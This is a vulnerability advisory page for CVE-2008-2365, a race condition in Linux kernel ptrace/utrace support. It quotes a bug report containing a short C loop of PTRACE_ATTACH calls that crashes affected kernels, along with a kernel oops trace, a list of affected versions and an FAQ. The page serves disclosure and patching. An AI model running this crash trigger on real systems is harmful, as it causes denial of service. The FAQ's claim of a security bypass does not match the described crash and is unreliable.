CVE-2008-2365: Race Condition

Published Jun 2, 2008
·
Updated

Description of problem:

Alexei Dobryanov has reported the following kernel utrace related issue (BZ#245735):

1. late ptracemayattach() check

static int ptraceattach(struct taskstruct task) { ... engine = utraceattach(task, (UTRACEATTACHCREATE | UTRACEATTACHEXCLUSIVE | UTRACEATTACHMATCHOPS), &ptraceutraceops, 0); [error checking] if (ptracemayattach(task)) { [more attaching process]

Doing may attach check there is asking for trouble, because utraceattach() will happily create and modify "struct utrace " and create and attach engines to it on task you don't have permissions. Order should be reverted. That's easy.

2. race around &deadengineops setting...

I originally thought #1 would lead to memory leaks, however, written dumb PTRACEATTACH'er gave much more amazing results.

The following program quickly (1 sec) oopses kernel when run against process you normally can't attach to (like normal user to getty processes)

#include <stdlib.h> #include <sys/ptrace.h>

int main(int argc, char argv[]) { pidt pid = atoi(argv[1]);

while (1) ptrace(PTRACEATTACH, pid, NULL, NULL);

return 0; }

Unable to handle kernel NULL pointer dereference at 0000000000000000 RIP: [<0000000000000000>] [<ffffffff8005f1cd>] reportquiescent+0x36/0x154 [<ffffffff8005f316>] utracequiescent+0x2b/0x238 [<ffffffff800601e9>] utracegetsignal+0x45d/0x4c0 [<ffffffff80039c6f>] getsignaltodeliver+0x169/0x47a [<ffffffff80008f5a>] donotifyresume+0xd0/0x7e2 [<ffffffff80203673>] spinunlockirqrestore+0x3f/0x45 [<ffffffff80051d71>] tracehardirqson+0x11b/0x13f [<ffffffff801400c0>] ttyread+0x81/0xc7 [<ffffffff80202ede>] tracehardirqsonthunk+0x35/0x37 [<ffffffff80051d71>] tracehardirqson+0x11b/0x13f [<ffffffff80009b43>] sysretsignal+0x21/0x31 [<ffffffff80009deb>] ptregscallcommon+0x67/0xac

This is a race we chatted with Roland about: http://marc.info/?l=linux-kernel&m=117863520707703&w=2

engine's flags and ops settings in utracedetach() and acting on them in reportquiescent():

utracedetach() reportquiescent() --------------- ------------------ [utrace lock held] [utrace lock is not held]

engine->flags = UTRACEEVENT(QUIESCE) | UTRACEACTIONQUIESCE;

if (engine->flags & UTRACEEVENT(QUIESCE)) REPORT(reportquiesce);

rcuassignpointer(engine->ops, &deadengineops);

At the moment of REPORT call engine's ops are still "live" ptrace ops which do not have ->reportquiesce callback. So, there will oops while calling function at NULL address. "Dead" ptrace engine ops do have dummy callback but it wasn't yet glued.

Obviously, patch #1 won't fix this.

3. Looks like nobody filed double free at utrace aka oops at rcuprocesscallbacks() against RHEL5 kernel.

It's bug https://bugzilla.redhat.com/bugzilla/showbug.cgi?id=207002 against FC6, but, hey, every utrace version has it. Test program attached. Every user can trigger it.

Other sources

Race condition in the ptrace and utrace support in the Linux kernel 2.6.9 through 2.6.25, as used in Red Hat Enterprise Linux (RHEL) 4, allows local users to cause a denial of service (oops) via a long series of PTRACEATTACH ptrace calls to another user's process that trigger a conflict between utracedetach and reportquiescent, related to "late ptracemayattach() check" and "race around &deadengineops setting," a different vulnerability than CVE-2007-0771 and CVE-2008-1514. NOTE: this issue might only affect kernel versions before 2.6.16.x.

MITRE

Affected Software

157 affected components
Linux Linux kernel=2.6.11-rc3
Linux Linux kernel=2.6.20.9
Linux Linux kernel=2.6.11
Linux Linux kernel=2.6.23.4
Linux Linux kernel=2.6.22.15
Linux Linux kernel=2.6.17.12
Linux Linux kernel=2.6.21
Linux Linux kernel=2.6.16.9
Linux Linux kernel=2.6.12-rc1
Linux Linux kernel=2.6.12-rc4
Linux Linux kernel=2.6.12.12
Linux Linux kernel=2.6.19-rc4
Linux Linux kernel=2.6.14-rc2
Linux Linux kernel=2.6.15.3
Linux Linux kernel=2.6.20.13
Linux Linux kernel=2.6.21-rc5
Linux Linux kernel=2.6.22.4
Linux Linux kernel=2.6.16-rc1
Linux Linux kernel=2.6.13
Linux Linux kernel=2.6.17.2
Linux Linux kernel=2.6.13.3
Linux Linux kernel=2.6.11.8
Linux Linux kernel=2.6.24.2
Linux Linux kernel=2.6.21-rc4
Linux Linux kernel=2.6.23.7
Linux Linux kernel=2.6.17.8
Linux Linux kernel=2.6.14.4
Linux Linux kernel=2.6.14
Linux Linux kernel=2.6.25.5
Linux Linux kernel=2.6.17.14
Linux Linux kernel=2.6.10
Linux Linux kernel=2.6.13-rc1
Linux Linux kernel=2.6.22.12
Linux Linux kernel=2.6.14.3
Linux Linux kernel=2.6.13-rc6
Linux Linux kernel=2.6.24-rc3
Linux Linux kernel=2.6.18.3
Linux Linux kernel=2.6.11.6
Linux Linux kernel=2.6.11.11
Linux Linux kernel=2.6.16.13
Linux Linux kernel=2.6.13-rc7
Linux Linux kernel=2.6.21.6
Linux Linux kernel=2.6.22.1
Linux Linux kernel=2.6.17.3
Linux Linux kernel=2.6.24.1
Linux Linux kernel=2.6.20.5
Linux Linux kernel=2.6.22
Linux Linux kernel=2.6.15.1
Linux Linux kernel=2.6.11.5
Linux Linux kernel=2.6.19.1
Linux Linux kernel=2.6.18.4
Linux Linux kernel=2.6.16.1
Linux Linux kernel=2.6.18.1
Linux Linux kernel=2.6.23.1
Linux Linux kernel=2.6.14.5
Linux Linux kernel=2.6.13.2
Linux Linux kernel=2.6.12-rc5
Linux Linux kernel=2.6.17.5
Linux Linux kernel=2.6.14-rc3
Linux Linux kernel=2.6.21.1
Linux Linux kernel=2.6.25.3
Linux Linux kernel=2.6.17
Linux Linux kernel=2.6.24
Linux Linux kernel=2.6.19.2
Linux Linux kernel=2.6.21.4
Linux Linux kernel=2.6.11-rc4
Linux Linux kernel=2.6.16.11
Linux Linux kernel=2.6.15-rc3
Linux Linux kernel=2.6.17.10
Linux Linux kernel=2.6.15.11
Linux Linux kernel=2.6.24_rc4
Linux Linux kernel=2.6.14.1
Linux Linux kernel=2.6.19-rc1
Linux Linux kernel=2.6.16.23
Linux Linux kernel=2.6.12.5
Linux Linux kernel=2.6.20
Linux Linux kernel=2.6.23.10
Linux Linux kernel=2.6.22.7
Linux Linux kernel=2.6.15-rc2
Linux Linux kernel=2.6.12.1
Linux Linux kernel=2.6.10-rc2
Linux Linux kernel=2.6.17.1
Linux Linux kernel=2.6.20.8
Linux Linux kernel=2.6.21-rc6
Linux Linux kernel=2.6.20.15
Linux Linux kernel=2.6.13.4
Linux Linux kernel=2.6.23.9
Linux Linux kernel=2.6.22.6
Linux Linux kernel=2.6.23.3
Linux Linux kernel=2.6.22.3
Linux Linux kernel=2.6.12.2
Linux Linux kernel=2.6.23-rc1
Linux Linux kernel=2.6.14-rc1
Linux Linux kernel=2.6.20.11
Linux Linux kernel=2.6.19
Linux Linux kernel=2.6.20.3
Linux Linux kernel=2.6.16
Linux Linux kernel=2.6.22.13
Linux Linux kernel=2.6.15.2
Linux Linux kernel=2.6.22.17
Linux Linux kernel=2.6.23.14
Linux Linux kernel=2.6.17.11
Linux Linux kernel=2.6.12.4
Linux Linux kernel=2.6.22.11
Linux Linux kernel=2.6.23
Linux Linux kernel=2.6.12.3
Linux Linux kernel=2.6.13-rc4
Linux Linux kernel=2.6.23.2
Linux Linux kernel=2.6.25.1
Linux Linux kernel=2.6.25.4
Linux Linux kernel=2.6.11-rc2
Linux Linux kernel=2.6.21.7
Linux Linux kernel=2.6.21.2
Linux Linux kernel=2.6.15.4
Linux Linux kernel=2.6.23_rc1
Linux Linux kernel=2.6.24-rc2
Linux Linux kernel=2.6.20.2
Linux Linux kernel=2.6.16.12
Linux Linux kernel=2.6.16.27
Linux Linux kernel=2.6.12.6
Linux Linux kernel=2.6.17.7
Linux Linux kernel=2.6.20.1
Linux Linux kernel=2.6.11.7
Linux Linux kernel=2.6.24.6
Linux Linux kernel=2.6.15
Linux Linux kernel=2.6.12.22
Linux Linux kernel=2.6.24_rc5
Linux Linux kernel=2.6.15-rc1
redhat Enterprise Linux Desktop=4.0
Linux Linux kernel=2.6.23.5
Linux Linux kernel=2.6.22.8
Linux Linux kernel=2.6.14.2
Linux Linux kernel=2.6.14-rc4
Linux Linux kernel=2.6.18
Linux Linux kernel=2.6.19-rc2
Linux Linux kernel=2.6.20.4
Linux Linux kernel=2.6.17.6
Linux Linux kernel=2.6.23.6
Linux Linux kernel=2.6.16.7
Linux Linux kernel=2.6.17.13
redhat Enterprise Linux=4.0
Linux Linux kernel=2.6.19-rc3
Linux Linux kernel=2.6.25
redhat Enterprise Linux=4.0
Linux Linux kernel=2.6.25.2
Linux Linux kernel=2.6.22.5
Linux Linux kernel=2.6.21-rc3
Linux Linux kernel=2.6.11.4
Linux Linux kernel=2.6.16.19
Linux Linux kernel=2.6.11.12
redhat Enterprise Linux=4.0
Linux Linux kernel=2.6.22.16
Linux Linux kernel=2.6.9
Linux Linux kernel=2.6.13.1
Linux Linux kernel=2.6.17-rc5
Linux Linux kernel=2.6.22.14
Linux Linux kernel=2.6.12

Event History

Jun 2, 2008
Data Sourced
12:13 PM
DescriptionSeverityAffected Software
Jun 30, 2008
CVE Published
via MITRE·09:00 PM
Data Sourced
via MITRE·09:00 PM
Description

Frequently Asked Questions

1

What is the severity of CVE-2008-2365?

CVE-2008-2365 has been classified as a medium severity vulnerability affecting multiple versions of the Linux Kernel.

2

How do I fix CVE-2008-2365?

To fix CVE-2008-2365, it is recommended to upgrade the Linux Kernel to a version that has patched this vulnerability.

3

What are the affected versions in CVE-2008-2365?

CVE-2008-2365 affects Linux Kernel versions 2.6.9 to 2.6.24, including several release candidates and minor updates.

4

Is CVE-2008-2365 exploitable remotely?

CVE-2008-2365 is not considered to be remotely exploitable as it requires local access to the system.

5

What is the impact of CVE-2008-2365 on my system?

The impact of CVE-2008-2365 may allow local users to bypass security mechanisms through a late ptrace_may_attach check.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203